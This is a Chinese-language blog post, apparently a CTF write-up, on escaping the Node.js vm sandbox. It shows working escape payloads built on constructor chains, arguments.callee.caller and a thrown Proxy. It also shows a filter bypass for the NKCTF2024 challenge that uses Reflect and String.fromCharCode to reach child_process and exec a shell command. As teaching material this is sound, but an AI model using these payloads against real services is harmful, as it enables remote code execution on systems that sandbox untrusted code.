banner
NEWS LETTER

javascript vm逃逸

Scroll down

vm逃逸原理

首先了解一下js的vm是什么。vm是nodejs的虚拟机模块,能够在运行的时候执行其中的js代码,并与其他作用域隔离。说简单点就是提供了一个隔离环境,在该环境内,所有的变量与其他环境不互通,很像在当前js文件中套了一个小js文件。

vm.runinThisContext(code)

在当前global下创建一个作用域
图片
这也就意味着我们使用这种方式创建的vm是可以直接使用global的。

1
2
3
4
5
6
#xxx.js
const a = global
const vm = require('vm');
const vm_var = vm.runInThisContext('global');
console.log(a);
console.log(vm_var);

图片
可以看到,打印出的global都是一样的。所以这种情况我们可以直接调用process来执行shell命令。

1
2
3
4
5
const a = global
const vm = require('vm');
const vm_var = vm.runInThisContext('process.mainModule.require("child_process").exec("open -a Calculator");');
console.log(a);
console.log(vm_var);

图片

vm.createContext([sandbox])

使用该方法创建vm时需要先创建一个沙箱对象,将沙箱对象作为参数传递给该方法,如果没有沙箱对象则创建一个空对象,与上一个方法不同的是,v8会为该沙箱在global外创建一个作用域,也就是说用这种方法创建的vm无法调用该js文件的全局变量,该作用域没有global变量。通常该方法会使用vm.runInContext(code, contextifiedSandbox[, options])来执行js代码。
图片
图片
这也就是我们要逃逸的原因。

vm.createContext([sandbox])逃逸

其实逃逸的原理很简单,就是vm不会对访问外界的构造器或者原型进行拦截,也就是说,只要沙箱对象存在,我们可以通过this去访问其构造器,而object的构造器是在外部定义的,于是我们很轻松的就连接到了外部,也是这样我们可以通过constructor去访问外部的global,也就能拿到process和执行shell

1
2
3
4
5
const vm = require('vm');
const sandbox = {};
vm.createContext(sandbox);
const a=vm.runInContext('this.constructor.constructor("return global;")()', sandbox);
console.log(a);

图片
那么如果沙箱对象不存在呢?this没有指向肯定就访问不到构造器了

1
2
3
4
5
const vm = require('vm');
const sandbox = Object.create(null);
const context=vm.createContext(sandbox);
const a=vm.runInContext('this.constructor.constructor("return global;")()', context);
console.log(a);

图片
我们可以用arguments.callee.caller去获取一个Function,而Function是外部的,这样我们也能连接到外部了,以toString为例

1
2
3
4
5
6
7
8
9
10
11
12
const vm = require('vm');
const sandbox = Object.create(null);
const context=vm.createContext(sandbox);
const a=vm.runInContext(`(()=>{
const a={};a.toString=function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
return p;
}
return a;})();
`, context);
console.log(a.toString());

图片
这里的toString可以换成任意名字,toString的好处仅仅是对象在被以字符串处理时会自动调用。
图片
详细解释一下,我们做的就是创建一个方法去调用另一个方法,在最里面的方法内,我们用arguments.callee.caller去获取调用了这个方法的方法,所以此时cc就是一个Function,我们再调用cc的构造器就行了
还有一种依靠Proxy拦截对对象的访问的方式,这种方式更灵活,更容易触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
try {
const sandbox = Object.create(null);
const context=vm.createContext(sandbox);
const a=vm.runInContext(`throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
return p;
}
});
`, context);
console.log(a);
}catch (e){
console.log(e.message);
}

图片
理解起来也很简单,就是抛出异常,该异常会创建一个Proxy对象并拦截对对象的访问,而该拦截过程会调用一个方法,该方法内有arguments.callee.caller,其他同理。

bypass

js的bypass方式有很多花样,需要字符串,我们可以用String.fromCharCode去构造,需要方法我们可以通过反射。
以NKCTF2024全世界最简单的ctf为例,本题过滤不多,但是执行命令的方法都没了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

我们可以用Proxy的方法去获取process,然后引入child_process,然后执行shell(nodejs标准命令执行流程)。
这里我们使用反射的方式去获取对象,js中的反射和java不太一样,js的反射是从数组或者对象中根据键名获取值,Reflect的标准使用格式Reflect.get(某个对象, Reflect.ownKeys(p).find(x=>x.includes(‘要获取的值’)));,这种方式的好处是不需要完整的字符串就可以匹配到想获取的值

1
2
3
4
5
6
7
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
return Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro')));
}
})

图片
由于process被过滤,直接引用不行,我们就用String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)通过ascii码的方式去获取字符串,当然这种方式可以和上面的Reflect结合使用,去绕过更严格的过滤,引入child_process后,我们再用Reflect去获取exec。

1
2
3
4
5
6
7
8
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("open -a Calculator");
}
})

图片
至此,攻击完成。

总结

nodejs的vm逃逸其实还有更多玩法,如果有兴趣可以再钻研钻研。这道题目还是挺典型的,可以作为入手vm逃逸的题目。

I'm so cute. Please give me money.

Other Articles
目录导航 置顶
  1. 1. vm逃逸原理
    1. 1.1. vm.runinThisContext(code)
    2. 1.2. vm.createContext([sandbox])
    3. 1.3. vm.createContext([sandbox])逃逸
    4. 1.4. bypass
  2. 2. 总结